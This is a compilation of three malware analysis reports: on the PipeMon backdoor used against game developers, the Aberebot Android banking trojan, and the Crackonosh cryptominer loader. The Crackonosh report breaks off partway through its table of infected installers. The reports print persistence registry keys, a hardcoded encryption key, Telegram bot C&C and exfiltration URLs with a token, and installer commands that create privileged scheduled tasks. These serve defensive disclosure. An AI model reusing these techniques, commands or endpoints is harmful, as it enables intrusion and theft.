In February 2020, we discovered a new, modular backdoor, which we named PipeMon. Persisting as a Print Processor, it was used by the Winnti Group against several video gaming companies based in South Korea and Taiwan that develop MMO (Massively Multiplayer Online) games. Video games developed by these companies are available on popular gaming platforms and have thousands of simultaneous players.
In at least one case, the malware operators compromised a victim’s build system, which could have led to a supply-chain attack, allowing the attackers to trojanize game executables. In another case, the game servers were compromised, which could have allowed the attackers to manipulate in-game currencies for financial gain.
The Winnti Group, active since at least 2012, is responsible for high-profile supply-chain attacks against the software industry, leading to the distribution of trojanized software (such as CCleaner, ASUS LiveUpdate, and multiple video games) that is then used to compromise more victims. Recently, ESET researchers also discovered a campaign of the Winnti Group targeting several Hong Kong universities with ShadowPad and Winnti malware.
### About the “Winnti Group” naming:
We have chosen to keep the name “Winnti Group” since it’s the name first used to identify it, in 2013, by Kaspersky. Since Winnti is also a malware family, we always write “Winnti Group” when we refer to the malefactors behind the attacks. Since 2013, it has been demonstrated that Winnti is only one of the many malware families used by the Winnti Group.
### Attribution to the Winnti Group
Multiple indicators led us to attribute this campaign to the Winnti Group. Some of the C&C domains used by PipeMon were used by Winnti malware in previous campaigns mentioned in our white paper on the Winnti Group arsenal. Besides, Winnti malware was also found in 2019 at some of the companies that were later compromised with PipeMon.
In addition to Winnti malware, a custom AceHash (a credential harvester) binary found at other victims of the Winnti Group, and signed with a well-known stolen certificate used by the group (Wemade IO), was also used during this campaign.
The certificate used to sign the PipeMon installer, modules, and additional tools is linked to a video game company that was compromised in a supply-chain attack in late 2018 by the Winnti Group and was likely stolen at that time. Interestingly, PipeMon modules are installed in `%SYSTEM32%\spool\prtprocs\x64\`; this path was also used in the past to drop the second stage of the trojanized CCleaner.
Additionally, compromising a software developer’s build environment to subsequently compromise legitimate applications is a known modus operandi of the Winnti Group.
### Targeted companies
Companies targeted in this campaign are video game developers producing MMO games and based in South Korea and Taiwan. In at least one case, the attackers were able to compromise the company’s build orchestration server, allowing them to take control of the automated build systems. This could have allowed the attackers to include arbitrary code of their choice in the video game executables.
ESET contacted the affected companies and provided the necessary information to remediate the compromise.
### Technical analysis
Two different variants of PipeMon were found at the targeted companies. Only for the more recent variant were we able to identify the first stage which is responsible for installing and persisting PipeMon.
#### First stage
PipeMon’s first stage consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher. The launcher writes the RARSFX to setup0.exe in a directory named with a randomly generated, eight-character, ASCII string located in the directory returned by GetTempPath. Once written to disk, the RARSFX is executed with CreateProcess by providing the decryption password in an argument, as follows:
```
setup0.exe -p*|T/PMR{|T2^LWJ*
```
Note that the password is different with each sample. The content of the RARSFX is then extracted into `%TMP%\RarSFX0` and consists of the following files:
- CrLnc.dat – Encrypted payload
- Duser.dll – Used for UAC bypass
- osksupport.dll – Used for UAC bypass
- PrintDialog.dll – Used for the malicious print processor initialization
- PrintDialog.exe – Legitimate Windows executable used to load PrintDialog.dll
- setup.dll – Installation DLL
- setup.exe – Main executable
Note that in the event of a folder name collision, the number at the end of the RarSFX0 string is incremented until a collision is avoided. Further, not all these files are necessarily present in the archive, depending on the installer.
Once extracted, setup.exe is executed without arguments. Its sole purpose is to load setup.dll using LoadLibraryA. Once loaded, setup.dll checks whether an argument in the format –x:n (where n is an integer) was provided; the mode of operation will be different depending on the presence of n. Supported arguments and their corresponding behavior are shown in Table 1. setup.exe is executed without arguments by the RARSFX and checks whether it’s running with elevated privileges. If not, it will attempt to obtain such privileges using token impersonation if the version of Windows is below Windows 7 build 7601; otherwise, it will attempt different UAC bypass techniques, allowing installation of the payload loader into one of:
- C:\Windows\System32\spool\prtprocs\x64\DEment.dll
- C:\Windows\System32\spool\prtprocs\x64\EntAppsvc.dll
- C:\Windows\System32\spool\prtprocs\x64\Interactive.dll
depending on the variant. Note that we weren’t able to retrieve samples related to Interactive.dll.
#### Table 1. setup.exe supported arguments and their corresponding behavior.
| Command line argument value | Behavior |
|-----------------------------|----------|
| -x:0 | Load the payload loader. |
| -x:1 | Attempt to enable SeLoadDriverPrivilege for the current process. If successful, attempt to install the payload loader; otherwise, restart setup.exe with the –x:2 argument using parent process spoofing. |
| -x:2 | Attempt to enable SeLoadDriverPrivilege for the current process. If successful, attempt to install the payload loader. |
This loader is stored encrypted within setup.dll, which will decrypt it before writing it to the aforementioned location.
### Persistence using Windows Print Processors
The location where the malicious DLL is dropped was not chosen randomly. This is the path where Windows Print Processors are located, and setup.dll registers the malicious DLL loader as an alternative Print Processor by setting one of the following registry values:
```
HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll”
```
or
```
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\lltdsvc1\Driver = “EntAppsvc.dll”
```
depending on the variant. Note the typo in PrintFiiterPipelineSvc (which has no impact on the Print Processor installation since any name can be used).
After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets. This technique is really similar to the Print Monitor persistence technique (being used by DePriMon, for example) and, to our knowledge, has not been documented previously.
Additionally, the encrypted payload, CrLnc.dat, extracted from the RARSFX is written to the registry at the following location, depending on the installer:
- HKLM\SOFTWARE\Microsoft\Print\Components\DC20FD7E-4B1B-4B88-8172-61F0BED7D9E8
- HKLM\SOFTWARE\Microsoft\Print\Components\A66F35-4164-45FF-9CB4-69ACAA10E52D
This encrypted registry payload is then loaded, decrypted, and executed by the previously registered Print Processor library. The whole PipeMon staging and persistence is shown in Figure 1.
### PipeMon
We named this new implant PipeMon because it uses multiple named pipes for inter-module communication and according to its PDB path, the name of the Visual Studio project used by its developer is “Monitor”. As mentioned previously, two different PipeMon variants were found. Considering the first variant, we couldn’t retrieve the installer; thus, we don’t know for sure the persistence technique that was used. But considering that this first variant of PipeMon was also located in the Print Processor directory, it’s likely that the same persistence mechanism was used.
#### Original variant
PipeMon is a modular backdoor where each module is a single DLL exporting a function called IntelLoader and is loaded using a reflective loading technique. Each module exhibits different functionalities that are shown in Table 2.
The loader, responsible for loading the main modules (ManagerMain and GuardClient), is Win32CmdDll.dll and is located in the Print Processors directory. The modules are stored encrypted on disk at the same location with inoffensive-looking names such as:
- banner.bmp
- certificate.cert
- License.hwp
- JSONDIU7c9djE
- D8JNCKS0DJE
- B0SDFUWEkNCj.logN
Note that .hwp is the extension used by Hangul Word Processor from Hangul Office, which is very popular in South Korea. The modules are RC4 encrypted and the decryption key Com!123Qasdz is hardcoded into each module. Win32CmDll.dll decrypts and injects the ManagerMain and GuardClient modules. The ManagerMain module is responsible for decrypting and injecting the Communication module, while the GuardClient module will ensure that the Communication module is running and reload it if necessary. An overview of how PipeMon operates is shown in Figure 2.
Win32CmDll.dll first tries to inject the ManagerMain and GuardClient modules into a process with one of the following names: lsass.exe, wininit.exe, or lsm.exe. If that fails, it tries to inject into one of the registered windows services processes, excluding processes named spoolsv.exe, ekrn.exe (ESET), avp.exe (Kaspersky), or dllhost.exe. As a last option, if everything else failed, it tries to use the processes taskhost.exe, taskhostw.exe, or explorer.exe.
The process candidates for Communication module injection must be in the TCP connection table with either 0.0.0.0 as the local address, or an ESTABLISHED connection and owning a LOCAL SERVICE token. These conditions are likely used to hide the Communication module into a process that is already communicating over the network so that the traffic from the Communication module would seem inconspicuous and possibly also whitelisted in the firewall. If no process meets the previous requirements, the ManagerMain module tries to inject the Communication module into explorer.exe. Processes belonging to the Windows Store Apps and processes named egui.exe (ESET) and avpui.exe (Kaspersky) are ignored from the selection.
#### Table 2. PipeMon module descriptions and their respective PDB paths
| Module Name | Description |
|-------------|-------------|
| Win32CmdDll | Decrypts and loads the ManagerMain and GuardClient modules. |
| GuardClient | Periodically checks whether the Communication module is running and loads it if not. |
| ManagerMain | Loads Communication module when executed. Contains encrypted C&C domain which is passed to the Communication module via named pipe. Can execute several commands based on the data received from the Communication module (mostly system information collecting, injecting payloads). |
| Communication | Responsible for managing communication between the C&C server and individual modules via named pipes. |
Additional modules can be loaded on-demand using dedicated commands (see below), but unfortunately, we weren’t able to discover any of them. The names of these modules are an educated guess based on the named pipes used to communicate with them:
- Screen
- Route
- CMD
- InCmd
- File
### Inter-module communication
Inter-module communication is performed via named pipes, using two named pipes per communication channel between each individual module, one for sending and one for receiving. Table 3 lists the communication channels and their corresponding named pipes.
#### Table 3. PipeMon communication channel and their respective named pipes
| Communication channel | Named pipe |
|-----------------------|------------|
| Communication, Screen | \\.\pipe\ScreenPipeRead%CNC_DEFINED% \\.\pipe\ScreenPipeWrite%CNC_DEFINED% |
| Communication, Route | \\.\pipe\RoutePipeWriite%B64_TIMESTAMP% |
| Communication, ManagerMain | \\.\pipe\MainPipeWrite%B64_TIMESTAMP% \\.\pipe\MainPipeRead%B64_TIMESTAMP% |
| GuardClient, ManagerMain | \\.\pipe\MainHeatPipeRead%B64_TIMESTAMP% |
| Communication, InCmd | \\.\pipe\InCmdPipeWrite%B64_TIMESTAMP% \\.\pipe\InCmdPipeRead%B64_TIMESTAMP% |
| Communication, File | \\.\pipe\FilePipeRead%B64_TIMESTAMP% \\.\pipe\FilePipeWrite%B64_TIMESTAMP% |
| GuardClient, Communication | \\.\pipe\ComHeatPipeRead%B64_TIMESTAMP% |
| Communication, CMD | \\.\pipe\CMDPipeRead \\.\pipe\CMDPipeWrite |
The %CNC_DEFINED% string is received from the C&C server and %B64_TIMESTAMP% variables are base64-encoded timestamps such as the ones shown in Table 4.
#### Table 4. Example timestamps used with named pipes
| %BASE64_TIMESTAMP% | Decoded timestamp |
|---------------------|-------------------|
| MjAxOTAyMjgxMDE1Mzc= | 20190228101537 |
| MjAxOTA1MjEyMzU2MjQ= | 20190521235624 |
| MjAxOTExMjExMjE2MjY= | 20191121121626 |
### C&C communication
The Communication module is responsible for managing communications between the C&C server and the other modules via named pipes, similar to the PortReuse backdoor documented in our white paper on the Winnti arsenal. Its C&C address is hardcoded in the ManagerMain module and encrypted using RC4 with the hardcoded key Com!123Qasdz. It is sent to the Communication module through a named pipe.
A separate communication channel is created for each installed module. The communication protocol used is TLS over TCP. The communication is handled with the HP-Socket library. All the messages are RC4 encrypted using the hardcoded key. If the size of the message to be transferred is greater than or equal to 4KB, it is first compressed using zlib’s Deflate implementation.
To initiate communication with the C&C server, a beacon message is first sent that contains the following information:
- OS version
- physical addresses of connected network adapters concatenated with %B64_TIMESTAMP%
- victim’s local IP address
- backdoor version/campaign ID; we’ve observed the following values:
- “1.1.1.4beat”
- “1.1.1.4Bata”
- “1.1.1.5”
- Victim computer name
The information about the victim’s machine is collected by the ManagerMain module and sent to the Communication module via the named pipe. The backdoor version is hardcoded in the Communication module in cleartext.
### Table 5. List of commands
| Command type | Command argument | Description |
|--------------|------------------|-------------|
| 0x02 | 0x03 | Install the File module |
| 0x03 | 0x03 | Install the CMD module |
| 0x03 | 0x0B | Install the InCmd module |
| 0x04 | 0x02 | Queue command for the Route module |
| 0x04 | 0x03 | Install the Route module |
| 0x05 | * | Send victim’s RDP information to the C&C server |
| 0x06 | 0x05 | Send OS, CPU, PC and time zone information to the C&C server |
| 0x06 | 0x06 | Send network information to the C&C server |
| 0x06 | 0x07 | Send disk drive information to the C&C server |
| 0x07 | * | Send running processes information to the C&C server |
| 0x09 | * | DLL injection |
| 0x0C | 0x15 | Send names of "InCmd" pipes and events to the C&C server |
| 0x0C | 0x16 | Send name of "Route" pipe to the C&C server |
| 0x0C | 0x17 | Send names of "File" pipes to the C&C server |
* The argument supplied for this command type is ignored.
### Updated variant
As mentioned earlier, the attackers also use an updated version of PipeMon for which we were able to retrieve the first stage described above. While exhibiting an architecture highly similar to the original variant, its code was likely rewritten from scratch.
The RC4 code used to decrypt the modules and strings was replaced by a simple XOR with 0x75E8EEAF as the key and all the hardcoded strings were removed. The named pipes used for inter-module communication are now named using random values instead of explicit names and conform to the format \\.\pipe\%rand%, where %rand% is a pseudorandomly generated string of 31 characters containing only mixed case alphabetic characters.
Here, only the main loader (i.e., the malicious DLL installed as a Print Processor) is stored as a file on disk; the modules are stored in the registry by the installer (from the CrLnc.dat file) and are described in Table 6.
#### Table 6. Updated modules
| Module name | Description |
|-------------|-------------|
| CoreLnc.dll | Loaded by the malicious Print Processor. Responsible only for loading the Core.dll module embedded in its .data section. |
| Core.dll | Loads the Net.dll module embedded in its .data section. Handles commands from the C&C server and communications between individual modules and the C&C server through named pipes. |
| Net.dll | New Communication module. Handles the networking. |
Module injection is not performed using the reflective loading technique with an export function anymore; custom loader shellcode is used instead and is injected along with the module to be loaded.
The C&C message format was changed as well, and is shown in Figure 4.
### Stolen code-signing certificate
PipeMon modules and installers are all signed with the same valid code-signing certificate that was likely stolen during a previous campaign of the Winnti Group. The certificate’s owner revoked it as soon as they were notified of the issue.
We found on a sample sharing platform other tools signed with this certificate, such as HTRan, a connection bouncer, the WinEggDrop port scanner, Netcat, and Mimikatz which may have been used by the attackers as well. Furthermore, a custom AceHash build signed with a Wemade IO stolen certificate already mentioned in our previous white paper and usually used by the Winnti Group was found on some machines compromised with PipeMon.
### Conclusion
Once again, the Winnti Group has targeted video game developers in Asia with a new modular backdoor signed with a code-signing certificate likely stolen during a previous campaign and sharing some similarities with the PortReuse backdoor. This new implant shows that the Winnti Group is still actively developing new tools using multiple open-source projects; they don’t rely solely on their flagship backdoors, ShadowPad and the Winnti malware.
We will continue to monitor new activities of the Winnti Group and will publish relevant information on our blog. For any inquiries, contact us at [email protected]. The IoCs are also available at our GitHub repository.
### Indicators of Compromise
**ESET detection names**
- Win64/PipeMon.A
- Win64/PipeMon.B
- Win64/PipeMon.C
- Win64/PipeMon.D
- Win64/PipeMon.E
**Filenames**
- 100.exe
- 103.exe
- Slack.exe
- setup.exe
- %SYSTEM32%\spool\prtprocs\x64\DEment.dll
- %SYSTEM32%\spool\prtprocs\x64\EntAppsvc.dll
- %SYSTEM32%\spool\prtprocs\x64\Interactive.dll
- %SYSTEM32%\spool\prtprocs\x64\banner.bmp
- %SYSTEM32%\spool\prtprocs\x64\certificate.cert
- %SYSTEM32%\spool\prtprocs\x64\License.hwp
- %SYSTEM32%\spool\prtprocs\x64\D8JNCKS0DJE
- %SYSTEM32%\spool\prtprocs\x64\B0SDFUWEkNCj.log
- %SYSTEM32%\spool\prtprocs\x64\K9ds0fhNCisdjf
- %SYSTEM32%\spool\prtprocs\x64\JSONDIU7c9djE
- %SYSTEM32%\spool\prtprocs\x64\NTFSSSE.log
- AceHash64.exe
- mz64x.exe
**Named pipes**
- \\.\pipe\ScreenPipeRead%CNC_DEFINED%
- \\.\pipe\ScreenPipeWrite%CNC_DEFINED%
- \\.\pipe\RoutePipeWriite%B64_TIMESTAMP%
- \\.\pipe\MainPipeWrite%B64_TIMESTAMP%
- \\.\pipe\MainPipeRead%B64_TIMESTAMP%
- \\.\pipe\MainHeatPipeRead%B64_TIMESTAMP%
- \\.\pipe\InCmdPipeWrite%B64_TIMESTAMP%
- \\.\pipe\InCmdPipeRead%B64_TIMESTAMP%
- \\.\pipe\FilePipeRead%B64_TIMESTAMP%
- \\.\pipe\FilePipeWrite%B64_TIMESTAMP%
- \\.\pipe\ComHeatPipeRead%B64_TIMESTAMP%
- \\.\pipe\CMDPipeRead
- \\.\pipe\CMDPipeWrite
**Registry**
- HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll”
- HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\lltdsvc1\Driver = “EntAppsvc.dll”
- HKLM\SOFTWARE\Microsoft\Print\Components\DC20FD7E-4B1B-4B88-8172-61F0BED7D9E8
- HKLM\SOFTWARE\Microsoft\Print\Components\A66F35-4164-45FF-9CB4-69ACAA10E52D
**Samples**
- First stage
- 4B90E2E2D1DEA7889DC15059E11E11353FA621A6
- C7A9DCD4F9B2F26F50E8DD7F96352AEC7C4123FE
- 3508EB2857E279E0165DE5AD7BBF811422959158
- 729D526E75462AA8D33A1493B5A77CB28DD654BC
- 5663AF9295F171FDD41A6D819094A5196920AA4B
- PipeMon
- 23789B2C9F831E385B22942DBC22F085D62B48C7
- 53C5AE2655808365F1030E1E06982A7A6141E47F
- E422CC1D7B2958A59F44EE6D1B4E10B524893E9D
- 5BB96743FEB1C3375A6E2660B8397C68BEF4AAC2
- 78F4ACD69DC8F9477CAB9C732C91A92374ADCACD
- B56D8F826FA8E073E6AD1B99B433EAF7501F129E
- 534CD47EB38FEE7093D24BAC66C2CF8DF24C7D03
- PipeMon encrypted binaries
- 168101B9B3B512583B3CE6531CFCE6E5FB581409
- C887B35EA883F8622F7C48EC9D0427AFE833BF46
- 44D0A2A43ECC8619DE8DB99C1465DB4E3C8FF995
- E17972F1A3C667EEBB155A228278AA3B5F89F560
- C03BE8BB8D03BE24A6C5CF2ED14EDFCEFA8E8429
- 2B0481C61F367A99987B7EC0ADE4B6995425151C
- Additional tools
- WinEggDrop
- Mimikatz
- Netcat
- HTran
- AceHash
**Code-signing certificate SHA-1 thumbprints**
- 745EAC99E03232763F98FB6099F575DFC7BDFAA3
- 2830DE648BF0A521320036B96CE0D82BEF05994C
**C&C domains**
- n8.ahnlabinc[.]com
- owa.ahnlabinc[.]com
- ssl2.ahnlabinc[.]com
- www2.dyn.tracker[.]com
- ssl2.dyn-tracker[.]com
- client.gnisoft[.]com
- nmn.nhndesk[.]com
**C&C IP addresses**
- 154.223.215[.]116
- 203.86.239[.]113
### MITRE ATT&CK techniques
| Tactic | ID | Name | Description |
|---------------------|-----------|---------------------------------|-------------|
| Persistence | T1013 | Port Monitor | PipeMon uses a persistence technique similar to Port Monitor based on Print Processors. |
| Privilege Escalation | T1134 | Access Token Manipulation | The PipeMon installer tries to gain administrative privileges using token impersonation. |
| | T1088 | Bypass User Account Control | The PipeMon installer uses UAC bypass techniques to install the payload. |
| | T1502 | Parent PID Spoofing | The PipeMon installer uses parent PID spoofing to elevate privileges. |
| Defense Evasion | T1116 | Code Signing | PipeMon, its installer, and additional tools are signed with stolen code-signing certificates. |
| | T1027 | Obfuscate Files or Information | PipeMon modules are stored encrypted on disk. |
| | T1112 | Modify Registry | The PipeMon installer modifies the registry to install PipeMon as a Print Processor. |
| | T1055 | Process Injection | PipeMon injects its modules into various processes using reflective loading. |
| Discovery | T1057 | Process Discovery | PipeMon iterates over the running processes to find a suitable injection target. |
| | T1063 | Security Software discovery | PipeMon checks for the presence of ESET and Kaspersky software. |
| Collection | T1113 | Screen Capture | One of the PipeMon modules is likely a screenshotter. |
| Command and Control | T1043 | Commonly Used Ports | PipeMon communicates through port 443. |
| | T1095 | Custom Command and Control Protocol | PipeMon communication module uses a custom protocol based on TLS over TCP. |
| | T1032 | Standard Cryptographic Protocol | PipeMon communication is RC4 encrypted. |
| | T1008 | Fallback Channels | The updated PipeMon version uses a fallback channel once a particular date is reached. | |
# Aberebot on the Rise: New Banking Trojan Targeting Users Through Phishing
**Update:** The Threat Actor is now actively working on the next version of the malware. We will continue to track the actor for any further updates.
Aberebot malware author discussing the new version of malware on a cybercrime forum after Cyble reversed their malware and published findings. During Cyble’s routine Open-Source Intelligence (OSINT) research, we came across a malware posted by a researcher on Twitter. The malware is a new banking trojan variant named Aberebot that steals sensitive information from infected devices. This variant shares similar behavioral patterns with other banking Trojans such as Cerberus. In addition to these similarities, the trojan also steals credentials using phishing, targeting customers of 140+ banks in 18 countries.
According to an investigation conducted by the Cyble Research Labs, the Threat Actor (TA) behind Aberebot is using GitHub to store the phishing pages. This is because adding the webpages to the APK will drastically increase the file size. We suspect that the TAs are targeting users via a range of vectors such as phishing campaigns or third-party app stores. Additionally, in this case, we found the malicious Trojan app masquerading as the legitimate Google Chrome app.
## Technical Analysis
**APK Metadata Information:**
- **App Name:** Chrome
- **Package Name:** com.example.autoclicker
- **SHA256 Hash:** 8bef7b86043f758a775a9cf4080f5b87d50df4778d03ecd94989f98cc5c91e75
The malicious app requests 10 permissions in the manifest file. Out of these, 7 are dangerous and are listed below:
| Permission Name | Description |
|------------------|-------------|
| android.permission.READ_CONTACTS | Access to phone contacts |
| android.permission.READ_SMS | Access SMS data |
| android.permission.RECEIVE_MMS | Receive and process MMSes |
| android.permission.RECEIVE_SMS | Receive and process SMSes |
| android.permission.SEND_SMS | Send SMSes |
| android.permission.WRITE_SMS | Modify/write the SMS data stored in the device |
| android.permission.BIND_ACCESSIBILITY_SERVICE | Monitor device screen activities |
Once the user enables the permissions listed above, the malware can steal information such as contacts, OTPs, credentials, etc., that are available in the infected device.
During our static analysis, we identified the entry point classes of the Trojan. The two classes which can be used to start the trojan are:
1. **com.example.autoclicker.MainActivity:** This class is launched when the user clicks on the icon of the malicious Chrome app.
2. **com.example.autoclicker.SmsReceiver:** This class is initiated when the victim’s device receives an SMS/MMS.
Upon analyzing from the entry points, we observed that the Trojan uses an obfuscation technique to restrict Reverse Engineering (RE) and to avoid detection. It also uses special characters for class names to make the RE more complex. In addition, this app has multiple encrypted strings in various parts of the code.
By going through the malware’s obfuscated code, we found that it uses a combination of Advanced Encryption Standard (AES) and string operations for encryption. AES is a symmetric block encryption that uses a key to encrypt/decrypt the data. In this case, the app uses different keys for decrypting suspicious encrypted strings.
Upon decrypting the strings, we found several suspicious strings such as URLs, commands, etc. The Trojan constantly communicates with a Command and Control (C&C) server hosted on a Telegram bot account. The Aberebot Trojan receives commands from the URL: `hxxps://api.telegram[.]org/bot1900116382:AAHdStvE0Pr4vI7ZEHj5BdFJAlCOvaovRRY/getUpdates`. Data is sent as a message to the Telegram bot using the URL: `hxxps://api.telegram[.]org/bot1900116382:AAHdStvE0Pr4vI7ZEHj5BdFJAlCOvaovRRY/sendMessage?chat_id=-561929911&text=`. The trojan then proceeds to perform malicious activities based on the C&C server commands. Some of the malicious activities that Aberebot is capable of performing are listed below.
### Malicious Capabilities:
1. Collecting contact information from the device.
2. Intercepting OTP: The malware is capable of receiving SMSes and uploading the ones that contain numbers.
3. Collecting the list of installed applications from the device.
4. Sending SMS messages to numbers as per the TA’s commands.
5. Stealing credentials of social media accounts and banking portals from the victim device.
6. Monitoring the victim device by leveraging the BIND_ACCESSIBILITY_SERVICE.
**Techniques used to steal credentials of social media and banking accounts:**
The banking Trojan uses phishing pages to steal credentials. The malware author has stored the phishing pages as HTML in a GitHub repository. The malware checks for the geolocation of the device and then downloads fake HTML pages based on it. Based on the command from the C&C server, it shows the counterfeit HTML content on a WebView.
Upon analyzing the HTML pages, we observed that the credentials are uploaded to the C&C server in Telegram.
**Abusing BIND_ACCESSIBILITY_SERVICE permission:**
Upon enabling the BIND_ACCESSIBILITY_SERVICE permission, the malware leverages this capability to enable all other permissions for itself. It constantly monitors the device screen using the same permission. Along with that, the app restricts the user from modifying the app settings. The activities performed by abusing the BIND_ACCESSIBILITY_SERVICE permission are:
1. Restricting the user to enter or modify the app’s settings page.
2. Constantly checking for targeted banking/social apps on the screen, and if any targeted app is present on the screen, the malware shows the phishing page related to it for credential stealing.
### Additional actions conducted by Aberebot:
1. Tricking the user with a legitimate-looking Google Chrome icon and name.
2. Hiding the application icon from the device home screen after the app starts.
**Countries targeted by Aberebot:** Austria, Australia, Canada, Czech Republic, Germany, Spain, France, Hong Kong, India, Italy, Japan, Netherlands, New Zealand, Poland, Romania, Turkey, the United Kingdom, the United States of America.
The Aberebot malware targets customers of 140+ banks, including BCR Bank, Australia and New Zealand Banking Group, US Bank, SBI, etc. In addition, apart from banks, other targeted accounts include PayPal, MobiKwik, Unocoin wallet, and Gmail.
**Targeted Banks in India:** According to our findings, the malware uses phishing pages specifically designed for mobile users. The State Bank of India (SBI), HDFC Bank, Axis Bank, Bank of Baroda, ICICI Bank, IDBI Bank, and Union Bank are some of the India-based banks targeted by Aberebot.
### Conclusion
Our research indicates that TAs are increasingly introducing new malware techniques to evade detection. Banking threats are increasing with every passing day and are being enhanced with sophisticated techniques. Aberebot is one such example. According to our research, these types of malware are only distributed via sources other than Google Play Store. As a result, it’s imperative for consumers to practice cyber hygiene across their mobile devices and online banking applications.
### Recommendations
1. If you find this malware in your device, uninstall it immediately.
2. Use the shared IoCs to monitor and block the malware infection.
3. Keep your anti-virus software updated to detect and remove malicious software.
4. Keep your system and applications updated to the latest versions.
5. Use strong passwords and enable two-factor authentication.
6. Download and install software only from registered app stores.
### MITRE ATT&CK® Techniques
| Tactic | Technique ID | Technique Name |
|--------|--------------|----------------|
| Defense Evasion | T1406 | Obfuscated Files or Information |
| Discovery | T1421 | System Network Connections Discovery |
| | T1430 | Location Tracking |
| Collection | T1507 | Network Information Discovery |
| | T1412 | Capture SMS Messages |
| | T1432 | Access Contact List |
| Command and Control | T1571 | Non-Standard Port |
| | T1573 | Encrypted Channel |
| Impact | T1447 | Delete Device Data |
| Network Effects | T1449 | Exploit SS7 to Redirect Phone Calls/SMS |
### Indicators of Compromise (IoCs):
| Indicators | Indicator Type | Description |
|------------|----------------|-------------|
| 8bef7b86043f758a775a9cf4080f5b87d50df4778d03ecd94989f98cc5c91e75 | SHA256 | Hash of the APK malware |
| a1e56b54768a70b73f131ef3508bd47fff20ae7f80856a11a83894fe686d8cc1 | SHA256 | Hash of the second APK sample |
| hxxps://api.telegram[.]org/bot1900116382:AAHdStvE0Pr4vI7ZEHj5BdFJAlCOvaovRRY/getUpdates | URL | Telegram Bot URL |
| hxxps://api.telegram[.]org/bot1900116382:AAHdStvE0Pr4vI7ZEHj5BdFJAlCOvaovRRY/sendMessage?chat_id=-561929911&text= | URL | Telegram Bot URL |
| hxxps://github.com/yutronsayshi/aberebot234/raw/main/ | URL | GitHub Repo | |
# Crackonosh: A New Malware Distributed in Cracked Software
We recently became aware of customer reports advising that Avast antivirus was missing from their systems. We looked into this report and others like it and have found a new malware we’re calling “Crackonosh” in part because of some possible indications that the malware author may be Czech. Crackonosh is distributed along with illegal, cracked copies of popular software and searches for and disables many popular antivirus programs as part of its anti-detection and anti-forensics tactics.
In this posting, we analyze Crackonosh. We look first at how Crackonosh is installed. In our analysis, we found that it drops three key files: `winrmsrv.exe`, `winscomrssrv.dll`, and `winlogui.exe`, which we analyze below. We also include information on the steps it takes to disable Windows Defender and Windows Update as well as anti-detection and anti-forensics actions. We include information on how to remove Crackonosh. Finally, we include indicators of compromise for Crackonosh.
**Statistics**
- Number of hits since December 2020: over 222,000 unique devices.
- Number of users infected by Crackonosh since December 2020: about a thousand hits every day in May.
- The main target of Crackonosh was the installation of the coinminer XMRig, with payments of 9000 XMR, totaling over $2,000,000 USD.
## Installation of Crackonosh
The diagram below depicts the entire Crackonosh installation process.
1. First, the victim runs the installer for the cracked software.
2. The installer runs `maintenance.vbs`.
3. `Maintenance.vbs` then starts the installation using `serviceinstaller.msi`.
4. `Serviceinstaller.msi` registers and runs `serviceinstaller.exe`, the main malware executable.
5. `Serviceinstaller.exe` drops `StartupCheckLibrary.DLL`.
6. `StartupCheckLibrary.DLL` downloads and runs `wksprtcli.dll`.
7. `Wksprtcli.dll` extracts newer `winlogui.exe` and drops `winscomrssrv.dll` and `winrmsrv.exe`, which it contains, decrypts, and places in the folder.
From the original compilation date of Crackonosh, we identified 30 different versions of `serviceinstaller.exe`, the main malware executable, from 31.1.2018 up to 23.11.2020. It is easy to find out that `serviceinstaller.exe` is started from a registry key created by `Maintenance.vbs`.
The only clue to what happened before `Maintenance.vbs` creates this registry key and how the files appear on the computer of the victim is the removal of `InstallWinSAT` task in `maintenance.vbs`. Hunting led us to uncover uninstallation logs containing Crackonosh unpacking details when installed with cracked software.
The following strings were found in uninstallation logs:
```
{sys}\7z.exe
-ir!*.*? e -pflk45DFTBplsd -y "{app}\base_cfg3.scs" -o{sys}
-ir!*.*? e -pflk45DFTBplsd -y "{app}\base_cfg4.scs" -o{localappdata}\Programs\Common
/Create /SC ONLOGON /TN "Microsoft\Windows\Maintenance\InstallWinSAT" /TR Maintenance.vbs /RL HIGHEST /F
/Create /SC ONLOGON /TN "Microsoft\Windows\Application Experience\StartupCheckLibrary" /TR StartupCheck.vbs /RL HIGHEST /F
```
This shows us that Crackonosh was packed in a password-protected archive and unpacked in the process of installation. Here are infected installers we found:
| Name of infected installer | SHA256 |
|---------------------------|--------|
| NBA 2K19 | E497EE189E16CAEF7C881C1C311D994AE75695C5087D09051BE59B0F0051A6CF |
| Grand Theft Auto V | 65F39206FE7B706DED5D7A2DB74E900D4FAE539421C3167233139B5B5E125B8A |
| Far Cry 5 | 4B01A9C1C7F0AF74AA1DA11F8BB3FC8ECC3719C2C6F4AD820B31108923AC7B71 |
| The Sims 4 Seasons | 7F836B445D979870172FA108A47BA953B0C02D2076CAC22A5953EB05A683EDD4 |
| Euro Truck Simulator 2 | 93A3B50069C463B1158A9BB3A8E3EDF9767E8F412C1140903B9FE674D81E32F0 |
| The Sims 4 | 9EC3DE9BB9462821B5D034D43A9A5DE0715FF741E0C171ADFD7697134B936FA3 |
| Jurassic World Evolution | D8C092DE1BF9B355E9799105B146BAAB8C77C4449EAD2BDC4A5875769BB3FB8A |
| Fallout 4 GOTY | 6A3C8A3CA0376E295A2A9005DFBA0EB55D37D5B7BF8FCF108F4FFF7778F47584 |
| Call of Cthulhu Pro | D7A9BF98ACA2913699B234219FF8FDAA0F635E5DD3754B23D03D5C3441D94BFB |
| Evolution Soccer 2018 | 8C52E5CC07710BF7F8B51B075D9F25CD2ECE58FD11D2944C6AB9BF62B7FBFA05 |
| We Happy Few | C6817D6AFECDB89485887C0EE2B7AC84E4180323284E53994EF70B89C77768E1 |
